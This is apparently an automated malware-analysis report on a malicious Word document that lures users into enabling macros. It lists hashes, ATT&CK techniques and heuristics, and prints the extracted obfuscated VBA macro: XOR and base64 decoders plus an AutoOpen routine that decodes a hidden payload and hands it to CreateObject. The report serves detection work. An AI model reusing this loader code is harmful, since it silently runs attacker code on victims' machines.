Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1d0789de42cb39e4…

MALICIOUS

Office (OLE)

48.0 KB Created: 2018-06-17 01:51:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 5d5ed575f083c92ece40609ec2d3754f SHA-1: 692299f8bb40c7ffce9a62542a14cc43f04b5625 SHA-256: 1d0789de42cb39e4b2bbcea19c8dfee0fa36ca4a944a8d58eaa60a7c72d359fe
182 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. The document body explicitly instructs the user to 'Enable Editing' or 'Enable Content' to view the document, a common social engineering tactic. The VBA macro code, specifically the AutoOpen function, uses CreateObject, indicating it likely performs malicious actions such as downloading and executing a payload. The macro code itself is obfuscated, but the presence of the AutoOpen function and CreateObject call strongly suggests malicious intent.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5198 bytes
SHA-256: 1a548197d8a03bb6518b4b6c09f07ff677b9be17f50af055449652e54b877b07
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "IGr9SxmAt"
Public Function KuSynth(ByRef pQQSz2Q2hU As String, ByVal fSyor3v As String) As String
Dim lhKcutb8P9() As Byte
Dim FvbHk1ORl() As Byte
Dim ymXCzyl As Long
Dim pN6t18JXgj As Long
Dim YFEqFr5mW As Long
Dim Xmd4c7NVo5s As Long
lhKcutb8P9 = StrConv(pQQSz2Q2hU, vbFromUnicode)
ymXCzyl = UBound(lhKcutb8P9)
FvbHk1ORl = StrConv(fSyor3v, vbFromUnicode)
pN6t18JXgj = UBound(FvbHk1ORl)
For YFEqFr5mW = 0 To ymXCzyl
lhKcutb8P9(YFEqFr5mW) = lhKcutb8P9(YFEqFr5mW) Xor FvbHk1ORl(Xmd4c7NVo5s)
If Xmd4c7NVo5s < pN6t18JXgj Then
Xmd4c7NVo5s = Xmd4c7NVo5s + 1
Else
Xmd4c7NVo5s = 0
End If
Next YFEqFr5mW
KuSynth = StrConv(lhKcutb8P9, vbUnicode)
End Function
Public Function wKfsPP4776(ByVal THREE As String) As Byte()
   Dim SThnCzl6x As Integer, zz9Qy5bIDd As Integer, pMKUyHQJpI(0 To 63) As Byte, zjSijad(0 To 127) As Byte
   zz9Qy5bIDd = 0
   For SThnCzl6x = Asc("A") To Asc("Z"): pMKUyHQJpI(zz9Qy5bIDd) = SThnCzl6x: zz9Qy5bIDd = zz9Qy5bIDd + 1: Next
   For SThnCzl6x = Asc("a") To Asc("z"): pMKUyHQJpI(zz9Qy5bIDd) = SThnCzl6x: zz9Qy5bIDd = zz9Qy5bIDd + 1: Next
   For SThnCzl6x = Asc("0") To Asc("9"): pMKUyHQJpI(zz9Qy5bIDd) = SThnCzl6x: zz9Qy5bIDd = zz9Qy5bIDd + 1: Next
   pMKUyHQJpI(zz9Qy5bIDd) = Asc("+"): zz9Qy5bIDd = zz9Qy5bIDd + 1
   pMKUyHQJpI(zz9Qy5bIDd) = Asc("/"): zz9Qy5bIDd = zz9Qy5bIDd + 1
   For zz9Qy5bIDd = 0 To 127: zjSijad(zz9Qy5bIDd) = 255: Next
   For zz9Qy5bIDd = 0 To 63: zjSijad(pMKUyHQJpI(zz9Qy5bIDd)) = zz9Qy5bIDd: Next
   Dim WZBFlbhZKK() As Byte: WZBFlbhZKK = StrConv(THREE, vbFromUnicode)
   Dim NINE As Long: NINE = UBound(WZBFlbhZKK) + 1
   Do While NINE > 0
      If WZBFlbhZKK(NINE - 1) <> Asc("=") Then Exit Do
      NINE = NINE - 1
      Loop
   Dim TEN As Long: TEN = (NINE * 3) \ 4
   Dim ELEVEN() As Byte
   ReDim ELEVEN(0 To TEN - 1) As Byte
   Dim TWELVE As Long
   Dim TWENTYzz9Qy5bIDd As Long
   Do While TWELVE < NINE
      Dim THIRTEEN As Byte: THIRTEEN = WZBFlbhZKK(TWELVE): TWELVE = TWELVE + 1
      Dim FIFTEEN As Byte: FIFTEEN = WZBFlbhZKK(TWELVE): TWELVE = TWELVE + 1
      Dim pMKUyHQJpITEEN As Byte: If TWELVE < NINE Then pMKUyHQJpITEEN = WZBFlbhZKK(TWELVE): TWELVE = TWELVE + 1 Else pMKUyHQJpITEEN = Asc("A")
      Dim IsSMPsT As Byte: If TWELVE < NINE Then IsSMPsT = WZBFlbhZKK(TWELVE): TWELVE = TWELVE + 1 Else IsSMPsT = Asc("A")
      Dim WZBFlbhZKKTEEN As Byte: WZBFlbhZKKTEEN = zjSijad(THIRTEEN)
      Dim NINETEEN As Byte: NINETEEN = zjSijad(FIFTEEN)
      Dim TWENTY As Byte: TWENTY = zjSijad(pMKUyHQJpITEEN)
      Dim TWENTYwKfsPP4776 As Byte: TWENTYwKfsPP4776 = zjSijad(IsSMPsT)
      Dim TWENTYRZjrOi31 As Byte: TWENTYRZjrOi31 = (WZBFlbhZKKTEEN * 4) Or (NINETEEN \ &H10)
      Dim udUSNpUz As Byte: udUSNpUz = ((NINETEEN And &HF) * &H10) Or (TWENTY \ 4)
      Dim TWENTYSThnCzl6x As Byte: TWENTYSThnCzl6x = ((TWENTY And 3) * &H40) Or TWENTYwKfsPP4776
      ELEVEN(TWENTYzz9Qy5bIDd) = TWENTYRZjrOi31: TWENTYzz9Qy5bIDd = TWENTYzz9Qy5bIDd + 1
      If TWENTYzz9Qy5bIDd < TEN Then ELEVEN(TWENTYzz9Qy5bIDd) = udUSNpUz: TWENTYzz9Qy5bIDd = TWENTYzz9Qy5bIDd + 1
      If TWENTYzz9Qy5bIDd < TEN Then ELEVEN(TWENTYzz9Qy5bIDd) = TWENTYSThnCzl6x: TWENTYzz9Qy5bIDd = TWENTYzz9Qy5bIDd + 1
      Loop
   wKfsPP4776 = StrConv(ELEVEN, vbUnicode)
End Function

Public Function mhlBizRVbQ(HNJdnhpYwr As String) As Object
Set mhlBizRVbQ = CreateObject(HNJdnhpYwr)
End Function
Sub AutoOpen()
GWrrpYgq = wKfsPP4776(ActiveDocument.CustomDocumentProperties(GabmM0.HJWvjf0dAiYtN.Caption).Value)
Dim iyjcVyh9s As String
iyjcVyh9s = KuSynth(wKfsPP4776(GabmM0.b1gtgHK3.Text), GWrrpYgq)
vVa4VqY = GabmM0.gJITt0XsR(iyjcVyh9s, GWrrpYgq)
End Sub

Attribute VB_Name = "GabmM0"
Attribute VB_Base = "0{3A2021E3-A110-4AD9-8077-1FE1DA0C47BE}{62C3A589-840C-4C04-815D-3ACD00254AFD}"
Attribute VB_
... (truncated)